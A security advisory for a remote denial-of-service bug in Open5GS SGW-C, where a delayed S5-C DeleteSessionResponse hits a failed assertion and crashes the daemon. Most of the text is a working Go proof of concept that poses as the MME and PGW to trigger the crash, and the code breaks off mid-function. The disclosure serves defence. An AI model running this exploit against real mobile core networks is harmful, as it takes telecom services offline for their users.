| Descripción | ### Description
SGW-C can be forced to **abort (SIGABRT / core dumped)** if a **DeleteSessionResponse** is received on **S5-C** after the corresponding **S11 Delete Session transaction** has already timed out and been freed.
The handler `sgwc_s5c_handle_delete_session_response()` assumes the associated S11 transaction (`s11_xact`) is always present; when the S11-side transaction expires before the late S5-C response arrives, `s11_xact` becomes `NULL` and the code hits `ogs_assert(s11_xact)`, terminating `open5gs-sgwcd`. This is a **remote DoS** triggered by delayed/late control-plane responses.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// PB2-07 PoC: DeleteSessionResponse Stale S11 Transaction
// Target: Open5GS SGW-C v2.7.6
// Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_delete_session_response (s5c-handler.c:491)
//
// Attack Flow:
// 1. MME -> SGW-C: CreateSessionRequest (establish session)
// 2. PGW: Respond to CreateSessionRequest
// 3. MME -> SGW-C: DeleteSessionRequest (creates S11 transaction)
// 4. SGW-C -> PGW: DeleteSessionRequest (creates S5c transaction, associated with S11)
// 5. Wait for S11 transaction to timeout
// 6. PGW -> SGW-C: DeleteSessionResponse (S11 transaction already expired)
// 7. ogs_assert(s11_xact) fails -> crash
package main
import (
"flag"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address")
sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address")
mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address")
pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address")
xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait")
)
func main() {
flag.Parse()
log.SetFlags(log.Ltime | log.Lmicroseconds)
log.Println("=== PB2-07 PoC: DeleteSessionResponse Stale S11 Transaction ===")
log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr)
log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr)
// Parse addresses
mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr)
pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr)
sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr)
sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr)
// Create MME and PGW UDP connections
mmeConn, err := net.ListenUDP("udp", mmeLocal)
if err != nil {
log.Fatalf("Failed to bind MME: %v", err)
}
defer mmeConn.Close()
log.Printf("[MME] Listening on %s", mmeLocal)
pgwConn, err := net.ListenUDP("udp", pgwLocal)
if err != nil {
log.Fatalf("Failed to bind PGW: %v", err)
}
defer pgwConn.Close()
log.Printf("[PGW] Listening on %s", pgwLocal)
// State tracking
var sgwS11cTeid, sgwS5cTeid uint32
var s5cSeqNum uint32
mmeSeqNum := uint32(1)
pathSwitch := false
// Step 1: MME -> SGW-C: CreateSessionRequest
log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest")
csReq := createSessionRequest(mmeSeqNum)
if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil {
log.Fatalf("Failed to send CreateSessionRequest: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: CreateSessionRequest
log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...")
buf := make([]byte, 4096)
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err := pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err)
}
// Parse to get SGW's S5c TEID
msg, err := message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse message: %v", err)
}
switch m := msg.(type) {
case *message.CreateSessionRequest:
csReqFromSgw := m
sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID()
s5cSeqNum = csReqFromSgw.SequenceNumber
log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
case *message.ModifyBearerRequest:
mbReqFromSgw := m
if mbReqFromSgw.SenderFTEIDC == nil {
log.Fatalf("ModifyBearerRequest missing Sender F-TEID")
}
sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err)
}
s5cSeqNum = mbReqFromSgw.SequenceNumber
log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil {
log.Fatalf("Failed to send ModifyBearerResponse: %v", err)
}
log.Println("[PGW] Sent ModifyBearerResponse (path switch)")
pathSwitch = true
case *message.DeleteSessionRequest:
dsReqFromSgw := m
sgwS5cTeid = dsReqFromSgw.TEID()
s5cSeqNum = dsReqFromSgw.SequenceNumber
log.Printf("[PGW] Received DeleteSessionRequest directly, TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
log.Println("\n[Step 4] PGW -> SGW-C: DeleteSessionResponse (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
dsRsp := deleteSessionResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, dsRsp); err != nil {
log.Fatalf("Failed to send DeleteSessionResponse: %v", err)
}
log.Println("\n[*] PoC sent! Check SGW-C for crash:")
log.Println(" FATAL: sgwc_s5c_handle_delete_session_response: Assertion `s11_xact' failed.")
log.Println(" (s5c-handler.c:491)")
time.Sleep(2 * time.Second)
return
default:
log.Fatalf("Expected CreateSessionRequest or DeleteSessionRequest, got %T", msg)
}
if !pathSwitch {
// Step 3: PGW -> SGW-C: CreateSessionResponse
log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse")
pgwS5cTeid := uint32(0x30000001)
pgwS5uTeid := uint32(0x30000002)
csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid)
if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil {
log.Fatalf("Failed to send CreateSessionResponse: %v", err)
}
}
// Wait for SGW-C -> MME: CreateSessionResponse
log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...")
mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = mmeConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err)
}
msg, err = message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse CreateSessionResponse: %v", err)
}
csRspFromSgw, ok := msg.(*message.CreateSessionResponse)
if !ok {
log.Fatalf("Expected CreateSessionResponse, got %T", msg)
}
if csRspFromSgw.Cause != nil {
if cause, err := csRspFromSgw.Cause.Cause(); err == nil {
log.Printf("[MME] CreateSessionResponse cause=%d", cause)
}
}
if csRspFromSgw.SenderFTEIDC == nil {
log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)")
}
sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse Sender F-TEID: %v", err)
}
log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid)
// Step 5: MME -> SGW-C: DeleteSessionRequest
log.Println("\n[Step 5] MME -> SGW-C: DeleteSessionRequest")
dsReq := deleteSessionRequest(sgwS11cTeid, mmeSeqNum)
if err := sendMsg(mmeConn, sgwcS11, dsReq); err != nil {
log.Fatalf("Failed to send DeleteSessionRequest: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: DeleteSessionRequest
log.Println("[Step 6] Waiting for SGW-C -> PGW: DeleteSessionRequest...")
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive DeleteSessionRequest at PGW: %v", err)
}
msg, _ = message.Parse(buf[:n])
dsReqFromSgw, ok := msg.(*message.DeleteSessionRequest)
if !ok {
log.Fatalf("Expected DeleteSessionRequest, got %T", msg)
}
s5cSeqNum = dsReqFromSgw.SequenceNumber
log.Printf("[PGW] Received DeleteSessionRequest, Seq: %d", s5cSeqNum)
// Step 7: Wait for S11 transaction to timeout
log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
// Step 8: PGW -> SGW-C: DeleteSessionResponse (delayed)
log.Println("\n[Step 8] PGW -> SGW-C: DeleteSessionResponse (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
dsRsp := deleteSessionResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, dsRsp); err != nil {
log.Fatalf("Failed to send DeleteSessionResponse: %v", err)
}
log.Println("\n[*] PoC sent! Check SGW-C for crash:")
log.Println(" FATAL: sgwc_s5c_handle_delete_session_response: Assertion `s11_xact' failed.")
log.Println(" (s5c-handler.c:491)")
// Wait a bit
time.Sleep(2 * time.Second)
}
func createSessionRequest(seq uint32) message.Message {
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI("001010000000001"),
ie.NewMSISDN("0000000000"),
ie.NewMobileEquipmentIdentity("353490061234560"),
ie.NewServingNetwork("001", "01"),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewIndicationFromOctets(0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, 0x10000001, "10.44 |
|---|